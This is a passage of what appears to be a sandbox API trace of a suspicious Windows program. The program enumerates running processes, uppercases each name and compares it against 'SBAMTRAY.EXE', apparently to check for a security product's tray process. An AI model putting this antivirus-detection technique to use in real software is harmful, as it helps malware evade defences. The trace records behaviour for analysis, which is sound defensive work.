(lpString="svchost.exe") returned 11 [0067.596] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0067.596] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="SBAMTRAY.EXE") returned 1 [0067.596] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.597] lstrcpyW (in: lpString1=0x1ebf940, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0067.597] lstrlenW (lpString="svchost.exe") returned 11 [0067.597] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0067.597] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="SBAMTRAY.EXE") returned 1 [0067.597] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0067.597] lstrcpyW (in: lpString1=0x1ebf940, lpString2="spoolsv.exe" | out: lpString1="spoolsv.exe") returned="spoolsv.exe" [0067.598] lstrlenW (lpString="spoolsv.exe") returned 11 [0067.598] CharUpperBuffW (in: lpsz="spoolsv.exe", cchLength=0xb | out: lpsz="SPOOLSV.EXE") returned 0xb [0067.598] lstrcmpW (lpString1="SPOOLSV.EXE", lpString2="SBAMTRAY.EXE") returned 1 [0067.598] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x420, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.598] lstrcpyW (in: lpString1=0x1ebf940, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0067.598] lstrlenW (lpString="svchost.exe") returned 11 [0067.598] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0067.598] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="SBAMTRAY.EXE") returned 1 [0067.598] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.599] lstrcpyW (in: lpString1=0x1ebf940, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0067.599] lstrlenW (lpString="svchost.exe") returned 11 [0067.599] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0067.599] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="SBAMTRAY.EXE") returned 1 [0067.599] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0067.599] lstrcpyW (in: lpString1=0x1ebf940, lpString2="OfficeClickToRun.exe" | out: lpString1="OfficeClickToRun.exe") returned="OfficeClickToRun.exe" [0067.600] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0067.600] CharUpperBuffW (in: lpsz="OfficeClickToRun.exe", cchLength=0x14 | out: lpsz="OFFICECLICKTORUN.EXE") returned 0x14 [0067.600] lstrcmpW (lpString1="OFFICECLICKTORUN.EXE", lpString2="SBAMTRAY.EXE") returned -1 [0067.600] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.600] lstrcpyW (in: lpString1=0x1ebf940, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0067.600] lstrlenW (lpString="svchost.exe") returned 11 [0067.600] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0067.600] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="SBAMTRAY.EXE") returned 1 [0067.600] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0067.601] lstrcpyW (in: lpString1=0x1ebf940, lpString2="sihost.exe" | out: lpString1="sihost.exe") returned="sihost.exe" [0067.601] lstrlenW (lpString="sihost.exe") returned 10 [0067.601] CharUpperBuffW (in: lpsz="sihost.exe", cchLength=0xa | out: lpsz="SIHOST.EXE") returned 0xa [0067.601] lstrcmpW (lpString1="SIHOST.EXE", lpString2="SBAMTRAY.EXE") returned 1 [0067.601] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x77c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0067.601] lstrcpyW (in: lpString1=0x1ebf940, lpString2="taskhostw.exe" | out: lpString1="taskhostw.exe") returned="taskhostw.exe" [0067.601] lstrlenW (lpString="taskhostw.exe") returned 13 [0067.601] CharUpperBuffW (in: lpsz="taskhostw.exe", cchLength=0xd | out: lpsz="TASKHOSTW.EXE") returned 0xd [0067.601] lstrcmpW (lpString1="TASKHOSTW.EXE", lpString2="SBAMTRAY.EXE") returned 1 [0067.601] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0067.602] lstrcpyW (in: lpString1=0x1ebf940, lpString2="explorer.exe" | out: lpString1="explorer.exe") returned="explorer.exe" [0067.602] lstrlenW (lpString="explorer.exe") returned 12 [0067.602] CharUpperBuffW (in: lpsz="explorer.exe", cchLength=0xc | out: lpsz="EXPLORER.EXE") returned 0xc [0067.602] lstrcmpW (lpString1="EXPLORER.EXE", lpString2="SBAMTRAY.EXE") returned -1 [0067.602] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0067.602] lstrcpyW (in: lpString1=0x1ebf940, lpString2="RuntimeBroker.exe" | out: lpString1="RuntimeBroker.exe") returned="RuntimeBroker.exe" [0067.602] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0067.602] CharUpperBuffW (in: lpsz="RuntimeBroker.exe", cchLength=0x11 | out: lpsz="RUNTIMEBROKER.EXE") returned 0x11 [0067.602] lstrcmpW (lpString1="RUNTIMEBROKER.EXE", lpString2="SBAMTRAY.EXE") returned -1 [0067.603] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0067.603] lstrcpyW (in: lpString1=0x1ebf940, lpString2="ShellExperienceHost.exe" | out: lpString1="ShellExperienceHost.exe") returned="ShellExperienceHost.exe" [0067.603] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0067.603] CharUpperBuffW (in: lpsz="ShellExperienceHost.exe", cchLength=0x17 | out: lpsz="SHELLEXPERIENCEHOST.EXE") returned 0x17 [0067.603] lstrcmpW (lpString1="SHELLEXPERIENCEHOST.EXE", lpString2="SBAMTRAY.EXE") returned 1 [0067.603] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0067.604] lstrcpyW (in: lpString1=0x1ebf940, lpString2="SearchUI.exe" | out: lpString1="SearchUI.exe") returned="SearchUI.exe" [0067.604] lstrlenW (lpString="SearchUI.exe") returned 12 [0067.604] CharUpperBuffW (in: lpsz="SearchUI.exe", cchLength=0xc | out: lpsz="SEARCHUI.EXE") returned 0xc [0067.604] lstrcmpW (lpString1="SEARCHUI.EXE", lpString2="SBAMTRAY.EXE") returned 1 [0067.604] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="commandsxeroxrelationship.exe")) returned 1 [0067.604] lstrcpyW (in: lpString1=0x1ebf940, lpString2="commandsxeroxrelationship.exe" | out: lpString1="commandsxeroxrelationship.exe") returned="commandsxeroxrelationship.exe" [0067.604] lstrlenW (lpString="commandsxeroxrelationship.exe") returned 29 [0067.604] CharUpperBuffW (in: lpsz="commandsxeroxrelationship.exe", cchLength=0x1d | out: lpsz="COMMANDSXEROXRELATIONSHIP.EXE") returned 0x1d [0067.604] lstrcmpW (lpString1="COMMANDSXEROXRELATIONSHIP.EXE", lpString2="SBAMTRAY.EXE") returned -1 [0067.604] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nice cu.exe")) returned 1 [0067.605] lstrcpyW (in: lpString1=0x1ebf940, lpString2="nice cu.exe" | out: lpString1="nice cu.exe") returned="nice cu.exe" [0067.605] lstrlenW (lpString="nice cu.exe") returned 11 [0067.605] CharUpperBuffW (in: lpsz="nice cu.exe", cchLength=0xb | out: lpsz="NICE CU.EXE") returned 0xb [0067.605] lstrcmpW (lpString1="NICE CU.EXE", lpString2="SBAMTRAY.EXE") returned -1 [0067.605] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="video_reviewing.exe")) returned 1 [0067.606] lstrcpyW (in: lpString1=0x1ebf940, lpString2="video_reviewing.exe" | out: lpString1="video_reviewing.exe") returned="video_reviewing.exe" [0067.606] lstrlenW (lpString="video_reviewing.exe") returned 19 [0067.606] CharUpperBuffW (in: lpsz="video_reviewing.exe", cchLength=0x13 | out: lpsz="VIDEO_REVIEWING.EXE") returned 0x13 [0067.606] lstrcmpW (lpString1="VIDEO_REVIEWING.EXE", lpString2="SBAMTRAY.EXE") returned 1 [0067.606] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="shame.exe")) returned 1 [0067.606] lstrcpyW (in: lpString1=0x1ebf940, lpString2="shame.exe" | out: lpString1="shame.exe") returned="shame.exe" [0067.606] lstrlenW (lpString="shame.exe") returned 9 [0067.606] CharUpperBuffW (in: lpsz="shame.exe", cchLength=0x9 | out: lpsz="SHAME.EXE") returned 0x9 [0067.606] lstrcmpW (lpString1="SHAME.EXE", lpString2="SBAMTRAY.EXE") returned 1 [0067.606] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fantasy.exe")) returned 1 [0067.607] lstrcpyW (in: lpString1=0x1ebf940, lpString2="fantasy.exe" | out: lpString1="fantasy.exe") returned="fantasy.exe" [0067.607] lstrlenW (lpString="fantasy.exe") returned 11 [0067.607] CharUpperBuffW (in: lpsz="fantasy.exe", cchLength=0xb | out: lpsz="FANTASY.EXE") returned 0xb [0067.607] lstrcmpW (lpString1="FANTASY.EXE", lpString2="SBAMTRAY.EXE") returned -1 [0067.607] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="accepting.exe")) returned 1 [0067.607] lstrcpyW (in: lpString1=0x1ebf940, lpString2="accepting.exe" | out: lpString1="accepting.exe") returned="accepting.exe" [0067.607] lstrlenW (lpString="accepting.exe") returned 13 [0067.607] CharUpperBuffW (in: lpsz="accepting.exe", cchLength=0xd | out: lpsz="ACCEPTING.EXE") returned 0xd [0067.607] lstrcmpW (lpString1="ACCEPTING.EXE", lpString2="SBAMTRAY.EXE") returned -1 [0067.608] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="authorized.exe")) returned 1 [0067.608] lstrcpyW (in: lpString1=0x1ebf940, lpString2="authorized.exe" | out: lpString1="authorized.exe") returned="authorized.exe" [0067.608] lstrlenW (lpString="authorized.exe") returned 14 [0067.608] CharUpperBuffW (in: lpsz="authorized.exe", cchLength=0xe | out: lpsz="AUTHORIZED.EXE") returned 0xe [0067.608] lstrcmpW (lpString1="AUTHORIZED.EXE", lpString2="SBAMTRAY.EXE") returned -1 [0067.608] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x278, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="isp.exe")) returned 1 [0067.609] lstrcpyW (in: lpString1=0x1ebf940, lpString2="isp.exe" | out: lpString1="isp.exe") returned="isp.exe" [0067.609] lstrlenW (lpString="isp.exe") returned 7 [0067.609] CharUpperBuffW (in: lpsz="isp.exe", cchLength=0x7 | out: lpsz="ISP.EXE") returned 0x7 [0067.609] lstrcmpW (lpString1="ISP.EXE", lpString2="SBAMTRAY.EXE") returned -1 [0067.609] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cowboy.exe")) returned 1 [0067.609] lstrcpyW (in: lpString1=0x1ebf940, lpString2="cowboy.exe" | out: lpString1="cowboy.exe") returned="cowboy.exe" [0067.609] lstrlenW (lpString="cowboy.exe") returned 10 [0067.609] CharUpperBuffW (in: lpsz="cowboy.exe", cchLength=0xa | out: lpsz="COWBOY.EXE") returned 0xa [0067.609] lstrcmpW (lpString1="COWBOY.EXE", lpString2="SBAMTRAY.EXE") returned -1 [0067.609] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="j_variables_changes.exe")) returned 1 [0067.610] lstrcpyW (in: lpString1=0x1ebf940, lpString2="j_variables_changes.exe" | out: lpString1="j_variables_changes.exe") returned="j_variables_changes.exe" [0067.610] lstrlenW (lpString="j_variables_changes.exe") returned 23 [0067.610] CharUpperBuffW (in: lpsz="j_variables_changes.exe", cchLength=0x17 | out: lpsz="J_VARIABLES_CHANGES.EXE") returned 0x17 [0067.610] lstrcmpW (lpString1="J_VARIABLES_CHANGES.EXE", lpString2="SBAMTRAY.EXE") returned -1 [0067.610] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="thats.exe")) returned 1 [0067.610] lstrcpyW (in: lpString1=0x1ebf940, lpString2="thats.exe" | out: lpString1="thats.exe") returned="thats.exe" [0067.610] lstrlenW (lpString="thats.exe") returned 9 [0067.610] CharUpperBuffW (in: lpsz="thats.exe", cchLength=0x9 | out: lpsz="THATS.EXE") returned 0x9 [0067.611] lstrcmpW (lpString1="THATS.EXE", lpString2="SBAMTRAY.EXE") returned 1 [0067.611] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bikes goods whilst.exe")) returned 1 [0067.611] lstrcpyW (in: lpString1=0x1ebf940, lpString2="bikes goods whilst.exe" | out: lpString1="bikes goods whilst.exe") returned="bikes goods whilst.exe" [0067.611] lstrlenW (lpString="bikes goods whilst.exe") returned 22 [0067.611] CharUpperBuffW (in: lpsz="bikes goods whilst.exe", cchLength=0x16 | out: lpsz="BIKES GOODS WHILST.EXE") returned 0x16 [0067.611] lstrcmpW (lpString1="BIKES GOODS WHILST.EXE", lpString2="SBAMTRAY.EXE") returned -1 [0067.611] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reaches processing culture.exe")) returned 1 [0067.612] lstrcpyW (in: lpString1=0x1ebf940, lpString2="reaches processing culture.exe" | out: lpString1="reaches processing culture.exe") returned="reaches processing culture.exe" [0067.612] lstrlenW (lpString="reaches processing culture.exe") returned 30 [0067.612] CharUpperBuffW (in: lpsz="reaches processing culture.exe", cchLength=0x1e | out: lpsz="REACHES PROCESSING CULTURE.EXE") returned 0x1e [0067.612] lstrcmpW (lpString1="REACHES PROCESSING CULTURE.EXE", lpString2="SBAMTRAY.EXE") returned -1 [0067.612] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="actual.exe")) returned 1 [0067.612] lstrcpyW (in: lpString1=0x1ebf940, lpString2="actual.exe" | out: lpString1="actual.exe") returned="actual.exe" [0067.612] lstrlenW (lpString="actual.exe") returned 10 [0067.612] CharUpperBuffW (in: lpsz="actual.exe", cchLength=0xa | out: lpsz="ACTUAL.EXE") returned 0xa [0067.612] lstrcmpW (lpString1="ACTUAL.EXE", lpString2="SBAMTRAY.EXE") returned -1 [0067.612] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="potter larry.exe")) returned 1 [0067.613] lstrcpyW (in: lpString1=0x1ebf940, lpString2="potter larry.exe" | out: lpString1="potter larry.exe") returned="potter larry.exe" [0067.613] lstrlenW (lpString="potter larry.exe") returned 16 [0067.613] CharUpperBuffW (in: lpsz="potter larry.exe", cchLength=0x10 | out: lpsz="POTTER LARRY.EXE") returned 0x10 [0067.613] lstrcmpW (lpString1="POTTER LARRY.EXE", lpString2="SBAMTRAY.EXE") returned -1 [0067.613] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="contents what certificate.exe")) returned 1 [0067.613] lstrcpyW (in: lpString1=0x1ebf940, lpString2="contents what certificate.exe" | out: lpString1="contents what certificate.exe") returned="contents what certificate.exe" [0067.613] lstrlenW (lpString="contents what certificate.exe") returned 29 [0067.613] CharUpperBuffW (in: lpsz="contents what certificate.exe", cchLength=0x1d | out: lpsz="CONTENTS WHAT CERTIFICATE.EXE") returned 0x1d [0067.613] lstrcmpW (lpString1="CONTENTS WHAT CERTIFICATE.EXE", lpString2="SBAMTRAY.EXE") returned -1 [0067.613] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cindy.exe")) returned 1 [0067.614] lstrcpyW (in: lpString1=0x1ebf940, lpString2="cindy.exe" | out: lpString1="cindy.exe") returned="cindy.exe" [0067.614] lstrlenW (lpString="cindy.exe") returned 9 [0067.614] CharUpperBuffW (in: lpsz="cindy.exe", cchLength=0x9 | out: lpsz="CINDY.EXE") returned 0x9 [0067.614] lstrcmpW (lpString1="CINDY.EXE", lpString2="SBAMTRAY.EXE") returned -1 [0067.614] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="printable_fountain_korea.exe")) returned 1 [0067.615] lstrcpyW (in: lpString1=0x1ebf940, lpString2="printable_fountain_korea.exe" | out: lpString1="printable_fountain_korea.exe") returned="printable_fountain_korea.exe" [0067.615] lstrlenW (lpString="printable_fountain_korea.exe") returned 28 [0067.615] CharUpperBuffW (in: lpsz="printable_fountain_korea.exe", cchLength=0x1c | out: lpsz="PRINTABLE_FOUNTAIN_KOREA.EXE") returned 0x1c [0067.615] lstrcmpW (lpString1="PRINTABLE_FOUNTAIN_KOREA.EXE", lpString2="SBAMTRAY.EXE") returned -1 [0067.615] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="unusual.exe")) returned 1 [0067.615] lstrcpyW (in: lpString1=0x1ebf940, lpString2="unusual.exe" | out: lpString1="unusual.exe") returned="unusual.exe" [0067.615] lstrlenW (lpString="unusual.exe") returned 11 [0067.615] CharUpperBuffW (in: lpsz="unusual.exe", cchLength=0xb | out: lpsz="UNUSUAL.EXE") returned 0xb [0067.615] lstrcmpW (lpString1="UNUSUAL.EXE", lpString2="SBAMTRAY.EXE") returned 1 [0067.615] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pacific.exe")) returned 1 [0067.616] lstrcpyW (in: lpString1=0x1ebf940, lpString2="pacific.exe" | out: lpString1="pacific.exe") returned="pacific.exe" [0067.616] lstrlenW (lpString="pacific.exe") returned 11 [0067.616] CharUpperBuffW (in: lpsz="pacific.exe", cchLength=0xb | out: lpsz="PACIFIC.EXE") returned 0xb [0067.616] lstrcmpW (lpString1="PACIFIC.EXE", lpString2="SBAMTRAY.EXE") returned -1 [0067.616] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="phantom.exe")) returned 1 [0067.616] lstrcpyW (in: lpString1=0x1ebf940, lpString2="phantom.exe" | out: lpString1="phantom.exe") returned="phantom.exe" [0067.616] lstrlenW (lpString="phantom.exe") returned 11 [0067.616] CharUpperBuffW (in: lpsz="phantom.exe", cchLength=0xb | out: lpsz="PHANTOM.EXE") returned 0xb [0067.616] lstrcmpW (lpString1="PHANTOM.EXE", lpString2="SBAMTRAY.EXE") returned -1 [0067.616] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0067.617] lstrcpyW (in: lpString1=0x1ebf940, lpString2="backgroundTaskHost.exe" | out: lpString1="backgroundTaskHost.exe") returned="backgroundTaskHost.exe" [0067.617] lstrlenW (lpString="backgroundTaskHost.exe") returned 22 [0067.617] CharUpperBuffW (in: lpsz="backgroundTaskHost.exe", cchLength=0x16 | out: lpsz="BACKGROUNDTASKHOST.EXE") returned 0x16 [0067.617] lstrcmpW (lpString1="BACKGROUNDTASKHOST.EXE", lpString2="SBAMTRAY.EXE") returned -1 [0067.617] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0067.617] lstrcpyW (in: lpString1=0x1ebf940, lpString2="dllhost.exe" | out: lpString1="dllhost.exe") returned="dllhost.exe" [0067.618] lstrlenW (lpString="dllhost.exe") returned 11 [0067.618] CharUpperBuffW (in: lpsz="dllhost.exe", cchLength=0xb | out: lpsz="DLLHOST.EXE") returned 0xb [0067.618] lstrcmpW (lpString1="DLLHOST.EXE", lpString2="SBAMTRAY.EXE") returned -1 [0067.618] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x32c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0067.618] lstrcpyW (in: lpString1=0x1ebf940, lpString2="audiodg.exe" | out: lpString1="audiodg.exe") returned="audiodg.exe" [0067.618] lstrlenW (lpString="audiodg.exe") returned 11 [0067.618] CharUpperBuffW (in: lpsz="audiodg.exe", cchLength=0xb | out: lpsz="AUDIODG.EXE") returned 0xb [0067.618] lstrcmpW (lpString1="AUDIODG.EXE", lpString2="SBAMTRAY.EXE") returned -1 [0067.618] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x57c, 